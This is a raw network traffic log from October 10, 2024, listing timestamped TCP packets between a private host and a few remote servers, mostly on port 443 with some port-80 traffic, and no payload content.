Oct 10, 2024 10:13:33.424382925 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.424413919 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.424444914 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.424452066 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.424474001 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.424489975 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.424544096 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.424679995 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.424700022 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.424716949 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.424722910 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.478955030 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.479079008 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.479202986 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.487231970 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.487252951 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.487299919 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.487299919 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.487370014 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.487552881 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.491919041 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.491964102 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.492031097 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.492031097 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.492042065 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.492094040 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.492261887 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.492310047 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.494432926 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.494446039 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.494581938 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.494591951 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.501555920 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.501589060 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.501739979 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.501779079 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.021197081 CEST	64591	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:34.026340008 CEST	80	64591	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:34.030563116 CEST	64591	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:34.030735016 CEST	64591	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:34.035545111 CEST	80	64591	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:34.150366068 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.151101112 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.151179075 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.151683092 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.151698112 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.157452106 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.157999039 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.158019066 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.158143044 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.158474922 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.158498049 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.158505917 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.158555031 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.158907890 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.158925056 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.163263083 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.163619041 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.163635015 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.164052963 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.164058924 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.178308964 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.178760052 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.178786993 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.179188013 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.179193020 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.259978056 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.260035038 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.260099888 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.260154963 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.260179043 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.260226965 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.260329962 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.260349035 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.260358095 CEST	64588	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.260363102 CEST	443	64588	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.263264894 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.263309956 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.263433933 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.263587952 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.263593912 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278008938 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278062105 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278136015 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278137922 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278203964 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278322935 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278343916 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278351068 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278354883 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278361082 CEST	64590	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278368950 CEST	443	64590	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278409958 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278496027 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278507948 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278521061 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278542042 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278543949 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278573036 CEST	64587	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278590918 CEST	443	64587	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278592110 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278810024 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278810024 CEST	64589	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.278817892 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.278827906 CEST	443	64589	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.282316923 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.282358885 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.282514095 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.282522917 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.282536030 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.282574892 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.282757044 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.282773972 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.282902002 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.282915115 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.283770084 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.283816099 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.284212112 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.284356117 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.284379959 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.290361881 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.290412903 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.290488005 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.290513992 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.290574074 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.290662050 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.290708065 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.290738106 CEST	64586	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.290754080 CEST	443	64586	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.293189049 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.293236017 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.293313980 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.293423891 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.293433905 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.735606909 CEST	80	64591	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:34.735652924 CEST	80	64591	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:34.735882998 CEST	64591	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:34.736365080 CEST	64591	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:34.736402035 CEST	64591	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:34.741611004 CEST	80	64591	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:34.741689920 CEST	64591	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:34.921762943 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.923017025 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.923141956 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.935906887 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.935937881 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.937030077 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.937510967 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.937527895 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.938103914 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.938113928 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.951040030 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.951889992 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.951908112 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.953095913 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.953102112 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.967983007 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.968533039 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.968565941 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.969014883 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.969024897 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.969063997 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.969541073 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.969551086 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:34.970154047 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:34.970159054 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.038026094 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.038208008 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.038280964 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.038369894 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.038369894 CEST	64592	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.038422108 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.038450003 CEST	443	64592	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.041192055 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.041291952 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.041404009 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.041542053 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.041567087 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.046730042 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.046878099 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.046952009 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.047017097 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.047018051 CEST	64595	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.047040939 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.047061920 CEST	443	64595	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.049458027 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.049491882 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.049572945 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.049782991 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.049813986 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.059957981 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.060018063 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.060105085 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.060288906 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.060314894 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.060333967 CEST	64594	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.060342073 CEST	443	64594	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.062387943 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.062438965 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.062536001 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.062647104 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.062655926 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.081762075 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.081886053 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.081921101 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.081985950 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.082039118 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.082094908 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.084868908 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.084892988 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.084907055 CEST	64593	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.084913969 CEST	443	64593	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.085125923 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.085154057 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.085165977 CEST	64596	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.085171938 CEST	443	64596	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.100831985 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.100879908 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.100980043 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.102677107 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.102724075 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.102823019 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.103198051 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.103214025 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.103555918 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.103575945 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.693074942 CEST	64602	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:35.697972059 CEST	80	64602	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:35.698086023 CEST	64602	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:35.704142094 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.706078053 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.714224100 CEST	64602	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:35.719118118 CEST	80	64602	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:35.719595909 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.740133047 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.740154028 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.740571022 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.740576982 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.752583981 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.752595901 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.752974987 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.752979040 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.753325939 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.753365993 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.753633976 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.753638029 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.787344933 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.788568974 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.795831919 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.795906067 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.796448946 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.796463013 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.803483963 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.803513050 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.803860903 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.803869009 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.843828917 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.843888044 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.843957901 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.855866909 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.856023073 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.856086969 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.856338024 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.856479883 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.856559992 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.858459949 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.858459949 CEST	64598	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.858494997 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.858520985 CEST	443	64598	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.863346100 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.863373995 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.863398075 CEST	64599	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.863404989 CEST	443	64599	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.864345074 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.864345074 CEST	64597	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.864362001 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.864381075 CEST	443	64597	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.867599010 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.867641926 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.867714882 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.868825912 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.868937016 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.869009972 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.869168997 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.869189024 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.870520115 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.870559931 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.870624065 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.870800972 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.870815992 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.870953083 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.870991945 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.902335882 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.902501106 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.902612925 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.909183025 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.909245014 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.909312963 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.990421057 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.990498066 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.990528107 CEST	64601	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.990545034 CEST	443	64601	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.997975111 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.997975111 CEST	64600	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:35.998018026 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:35.998029947 CEST	443	64600	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.031909943 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.031969070 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.032059908 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.037756920 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.037864923 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.037957907 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.080849886 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.080913067 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.081167936 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.081235886 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.421360016 CEST	80	64602	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:36.421406984 CEST	80	64602	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:36.421495914 CEST	64602	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:36.421495914 CEST	64602	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:36.422225952 CEST	64602	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:36.422247887 CEST	64602	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:36.526765108 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.528234959 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.528264999 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.528722048 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.528729916 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.536015034 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.538213968 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.538239002 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.538613081 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.538619041 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.554992914 CEST	443	64605	13.107.253.45	192.168.2.4
